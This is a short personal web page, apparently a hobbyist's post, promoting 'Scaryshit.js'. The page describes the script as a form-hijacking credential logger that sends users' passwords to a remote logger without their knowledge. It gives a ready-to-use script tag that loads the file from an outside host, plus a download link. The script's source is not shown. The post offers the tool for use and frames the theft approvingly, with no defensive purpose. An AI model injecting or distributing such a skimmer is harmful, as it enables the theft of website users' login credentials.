Scaryshit.js
This is an evil little script that will add an "onsubmit" event to forms that includes a password field. It will then use a GET request using AJAX when the user submits and send the data to a logger somewhere, leaving the user completely unknowing of the theft!
Conclusion: A sophisticated AJAX credential logger.
<script src="http://downloads.ackack.net/scaryshit.js"></script>
Download: Scaryshit.js
Note: Using AJAX for HTTP request to another domain will not work in web browsers following the Same Origin Policy (Such as Firefox prior version 3.5 and Internet Explorer (All versions)).

Sup, I'm Mathias and I was born 1991. It feels like I should really write something here.